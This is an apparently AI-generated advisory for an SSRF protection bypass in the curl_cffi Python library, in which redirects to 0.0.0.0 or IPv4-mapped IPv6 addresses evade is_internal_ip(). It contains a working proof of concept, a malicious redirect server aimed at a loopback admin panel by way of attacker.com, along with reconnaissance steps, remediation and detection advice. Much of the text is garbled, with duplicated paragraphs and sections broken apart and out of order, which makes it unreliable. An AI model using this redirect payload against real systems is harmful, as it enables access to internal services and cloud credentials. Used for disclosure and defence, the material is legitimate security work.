CVE-2026-144579 — Lexiforest Curl Cffi (0.17.0) — CWE-918
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='safe' mode because is_internal_ip() omits 0.0.0.0 and IPv4-mapped IPv6 addresses. Malicious remote servers can redirect requests to 0.0.0.0 or ::ffff:-prefixed addresses to reach loopback services or cloud instance metadata and read the responses.
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='safe' mode because is_internal_ip() omits 0.0.0.0 and IPv4-mapped IPv6 addresses. Malicious remote servers can redirect requests to 0.0.0.0 or ::ffff:-prefixed addresses to reach loopback services or cloud instance metadata and read the responses.
🎯 What is this vulnerability?
CVE-2026-144579 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in the curl_cffi Python library, specifically affecting versions 0.15.0 through 0.17.0.
The core technical flaw lies in the implementation of the is_internal_ip() function, which is used to enforce security boundaries when allow_redirects='safe' is enabled. This mode is designed to prevent the library from following redirects to internal/private network resources (such as 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and ::1).
However, the is_internal_ip() function fails to correctly identify two specific address formats as internal:
1. 0.0.0.0: Often used as a wildcard or to bind to all interfaces, but in the context of SSRF, it can be interpreted by certain network stacks or proxies as referring to the local host (loopback).
2. IPv4-mapped IPv6 addresses: Addresses in the format ::ffff:a.b.c.d (e.g., ::ffff:127.0.0.1). Many modern operating systems and network libraries treat these as equivalent to their IPv4 counterparts. If an application or underlying socket layer resolves ::ffff:127.0.0.1 to 127.0.0.1, the request reaches the loopback interface.
Because is_internal_ip() returns False for these addresses, the allow_redirects='safe' check is bypassed. An attacker-controlled remote server can issue an HTTP 302 or 307 redirect pointing to 0.0.0.0 or ::ffff:127.0.0.1. The curl_cffi library, trusting its own flawed check, will follow this redirect, allowing the attacker to probe internal services, read responses, and potentially access cloud metadata endpoints (e.g., 169.254.169.254 if mapped or if 0.0.0.0 routes to it in specific configurations, though the primary risk here is loopback and direct internal IP access via mapped addresses).
CVSS 4.0 Vector Analysis:
- AV:N/AC:L/AT:N/PR:N/UI:N: Exploitable over the network with low complexity, no attack target interaction, no privileges, and no user interaction.
- VC:H: High Confidentiality impact. The attacker can read sensitive data from internal services (e.g., local admin panels, cloud metadata, internal APIs).
- SC:H: High Subsequent Confidentiality impact. The initial SSRF can lead to further compromise of other systems or data stores.
- VI:N/VA:N/SI:N/SA:N: No direct integrity or availability impact from the vulnerability itself, but the data exfiltration is critical.
- Fingerprinting: The attacker identifies that the target application uses
curl_cffifor outbound HTTP requests. This can be done by:
* Inspecting the - Version Verification: Confirm the version is between 0.15.0 and 0.17.0. This is critical because the fix is likely in 0.17.1 or later.
⚡ Attack Chain
1. Discovery & Reconnaissance
User-Agent header if the application does not override it (though curl_cffi often mimics browsers, specific TLS fingerprints or header ordering may be distinctive).
* Reviewing the application's requirements.txt or Pipfile if accessible via source code leaks, public repositories, or error pages that disclose library versions.
* Observing the behavior of the application when making requests to external URLs. If the application allows user-controlled URLs or parameters that trigger outbound requests, it is a candidate.
2. Exploitation
The attacker sets up a malicious HTTP server that issues a redirect to an internal address. The target application, usingcurl_cffi with allow_redirects='safe', will follow the redirect because is_internal_ip() fails to block the payload.Illustrative PoC (Python):
# Attacker's malicious server (malicious_server.py)
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Redirect to loopback using IPv4-mapped IPv6 address
# This bypasses is_internal_ip() in curl_cffi 0.15.0-0.17.0
self.send_response(302)
self.send_header('Location', 'http://[::ffff:127.0.0.1]:8080/admin')
self.end_headers()
# Alternatively, use 0.0.0.0 if the target's network stack interprets it as loopback
# self.send_header('Location', 'http://0.0.0.0:8080/admin')
server = HTTPServer(('0.0.0.0', 8080), RedirectHandler)
print("Starting malicious redirect server on port 8080")
server.serve_forever()Target Application Code (Vulnerable):
import curl_cffi
# The application uses curl_cffi to fetch a user-provided URL
# allow_redirects='safe' is intended to prevent SSRF
def fetch_url(url):
try:
response = curl_cffi.requests.get(url, allow_redirects='safe', timeout=5)
return response.text
except Exception as e:
return str(e)
# Example: User provides a URL that points to the attacker's server
user_input_url = "http://attacker.com/redirect"
result = fetch_url(user_input_url)
print(result) # This will contain the response from http://[::ffff:127.0.0.1]:8080/adminExploitation Steps:
1. The attacker hosts a server at attacker.com that returns a 302 redirect to http://[::ffff:127.0.0.1]:8080/admin.
2. The attacker sends a request to the target application, e.g., GET /fetch?url=http://attacker.com/redirect.
3. The target application calls curl_cffi.requests.get("http://attacker.com/redirect", allow_redirects='safe').
4. curl_cffi receives the 302 response and checks the Location header: http://[::ffff:127.0.0.1]:8080/admin.
5. The is_internal_ip() function is called with [::ffff:127.0.0.1]. Due to the bug, it returns False (not internal).
6. curl_cffi follows the redirect to http://[::ffff:127.0.0.1]:8080/admin.
7. The underlying OS/network stack resolves [::ffff:127.0.0.1] to 127.0.0.1 (loopback).
8. The request reaches the local admin panel on port 8080.
9. The response from the admin panel is returned to the attacker.
Alternative Payload using 0.0.0.0:
If the target's network configuration or the curl_cffi library's internal resolution treats 0.0.0.0 as loopback, the attacker can use http://0.0.0.0:8080/admin. This is less reliable than IPv4-mapped IPv6 but still a valid bypass vector.
3. Post-exploitation
/admin, /dashboard).
* Internal APIs that do not require authentication from the local network.
* Cloud instance metadata (if the internal service proxies to 169.254.169.254 or if the attacker can chain SSRF to reach it via internal routing).
http://[::ffff:10.0.0.5]:80 (if the bug also affects private IPv4 ranges mapped to IPv6, though the CVE specifically mentions 0.0.0.0 and IPv4-mapped IPv6, the logic flaw may extend to other mapped addresses).🌍 Real World Impact
169.254.169.254, the attacker can steal cloud credentials (AWS, GCP, Azure), leading to full cloud account compromise.
* Internal Admin Panels: Access to local admin interfaces can reveal user data, configuration files, and API keys.
* Internal APIs: Access to internal APIs that are not exposed to the public internet can lead to data breaches.
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
curl_cffi 0.15.0 through 0.17.0.curl_cffi 0.17.1 or later, where is_internal_ip() is corrected to include 0.0.0.0 and IPv4-mapped IPv6 addresses.pip install --upgrade curl_cffi2. Workarounds
allow_redirects: If possible, set allow_redirects=False in curl_cffi requests. This prevents the library from following redirects, eliminating the SSRF vector.response = curl_cffi.requests.get(url, allow_redirects=False, timeout=5)0.0.0.0 or ::ffff: in URLs or parameters that are used for outbound requests.3. Detection
0.0.0.0 or ::ffff: in the URL or query parameters.GET /fetch?url=http://attacker.com/redirect HTTP/1.1Followed by internal service logs showing requests from the application's IP to 127.0.0.1 or [::ffff:127.0.0.1].
127.0.0.1 and 169.254.169.254.⚠️ Urgency
curl_cffi to 0.17.1 or later immediately. If immediate upgrade is not possible, disable allow_redirects or implement strict network segmentation to mitigate the risk.[🤖 CVE Professor AI Security Engine]
FOFA Query